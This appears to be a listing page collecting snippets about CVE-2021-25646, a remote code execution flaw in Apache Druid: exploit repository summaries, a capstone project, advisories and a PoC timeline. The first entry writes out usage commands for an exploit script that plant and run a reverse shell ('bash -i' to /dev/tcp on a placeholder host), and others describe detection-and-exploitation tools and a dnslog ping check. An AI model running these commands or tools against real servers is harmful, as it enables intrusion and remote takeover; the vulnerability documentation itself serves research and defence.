CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd リバースシェルは以下の通り： リバースシェルスクリプトを書き込む python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" シェルスクリプトに実行権限を付与 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" シェルを実行 python3...

Cybersecurity-Capstone-Project

Cybersecurity-Capstone-Project サイバーセキュリティ・キャップストーンプロジェクト 概要 このリポジトリには、NCSC Nashama CyberCamp 11 の一環として完了した私のサイバーセキュリティ・キャップストーンプロジェクトが含まれており、IT Security C &T と協力して提供されました。 このプロジェクトは、2つのエンタープライズレベルの脆弱性に対する完全な脆弱性評価ワークフローを示しています。 対象脆弱性 Oracle WebLogic – CVE-2017-10271 Apache Druid – CVE-2021-25646...

CVE-2021-25646

CVE-2021-25646 Apache Druid リモートコード実行脆弱性 Wkerスクリプト 作成中... ===================================================================================== まず、Wkerさんのリモートでの回答に感謝します。 スクリプトを作成する目的は練習です。 使用方法 スクリプトはDNSLogを使用して判断し、脆弱性が存在する場合、自動的にdnslogのURLを取得してping操作を実行し、その結果を出力します。...

Apache-Druid-CVE-2021-25646

Apache-Druid-CVE-2021-25646 Youtube https://www.youtube.com/watch?v=-mdK5HSRiQU...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache Druid CVE-2021-25646 のリモートコード実行脆弱性の検出・利用ツール ドメイン名または IP:ポートを入力すると、脆弱性の検出が可能です。 脆弱性が検出されたターゲットに対して、コマンド実行が可能です。 単一ターゲットをサポート ファイルから行単位で複数のターゲットを読み取ることをサポート （ターゲット環境でのデモ） 脆弱性検出 脆弱性の悪用、id コマンドの実行 リバースシェル リバースシェルのコマンドは二重引用符で囲んでください。そうしないとエラーが発生します。 少し遅延した後、リバースシェルの取得に成功しました。...

CVE-2021-25646-GUI

CVE-2021-25646-GUI C言語を学習して実装した小さなdemoです。一部のコード実装はネットを参考にしました。...

CVE-2021-25646

Apache Druid のリモートコード実行 CVE-2021-25646 著者: j2ekim 使用方法 root@kitploit: python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" 脆弱性再現記事 https://www.adminxe.com/2109.html 使用上の注意...

Apache-Druid-CVE-2021-25646-Exploit

Apache Druid RCE エクスプロイト CVE-2021-25646 Apache Druid の JavaScript コードインジェクションを介したリモートコード実行（RCE）のための Python エクスプロイト（CVE-2021-25646）。 説明 このスクリプトは、Apache Druid（バージョン 0.20.1未満）の RCE 脆弱性を悪用し、特別に細工されたサンプラーリクエストを介して任意のコード実行を可能にします。 使用方法 root@kitploit: python3 druidrce.py -u http://target:8888 -c...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 概念実証（Go版） 概要 このリポジトリは、Apache Druid における深刻なリモートコード実行の脆弱性 CVE-2021-25646 の概念実証（PoC）エクスプロイトを含んでいます。 このエクスプロイトは Go で書かれており、ターミナルを介した対話的なコマンドインジェクションを可能にします。 特徴 対話型コマンドインジェクション: 対話型シェルインターフェースを通じて、脆弱な Apache Druid サーバー上で任意のコマンドを実行できます。 ビルド Go がインストールされている必要があります（バージョン 2.23.4 推奨）。...

PocList

このプロジェクトは一時的に更新を停止しています。更新を進めていく中で、後半になって2つの問題に気づきました。第一に、リポジトリ内でのサイバーセキュリティ法に関する声明が不十分で、私が望まない結果を招いてしまったことです。第二に、このプロジェクトの設計当初、いくつかの基盤アーキテクチャ上の点を考慮していなかったことです。例えば、インターフェースの汎用性や、GUIや単一フレームワークの全バージョン検出こそが多くの人々にとって必要であるという点などです。 作成したPOC Alibaba-Nacos-Unauthorized ApacheDruid-RCECVE-2021-25646...

Exploit for CVE-2021-25646

Apache Druid Remote Code Execution CVE-2021-25646 By j2ekim...

Metasploit Wrap-Up

Operations shell Operations and management software make popular targets due to their users typically having elevated privileges across a network. Our own wvu contributed the VMware vRealize Operations vROps Manager SSRF RCE exploit module for the vulnerabilities discovered by security researcher...

Apache Druid Remote Code Execution (CVE-2021-25646)

A remote code execution vulnerability exists in Apache Druid. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

CVE-2021-25646

creationtimestamp| type| source ---|---|--- 2021-02-05 23:22:52+00:00| published-proof-of-concept| https://t.me/thebugbountyhunter/5128 2021-02-06 07:37:08+00:00| published-proof-of-concept| https://t.me/cKure/3868 2021-02-09 12:30:57+00:00| published-proof-of-concept| https://t.me/reconshell/428...

Exploit for CVE-2021-25646

CVE-2021-25646-GUI A small demo impl...

CVE-2021-25646 Authenticated users can override system configurations in their requests which allows them to execute arbitrary code.

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a...

CVE-2021-25646

CVE-2021-25646 affects Apache Druid where an authenticated user can trigger execution of user-provided JavaScript in certain requests. The root cause is improper validation that enables the server to run code with the Druid server process privileges, potentially compromising the host. Affected ve...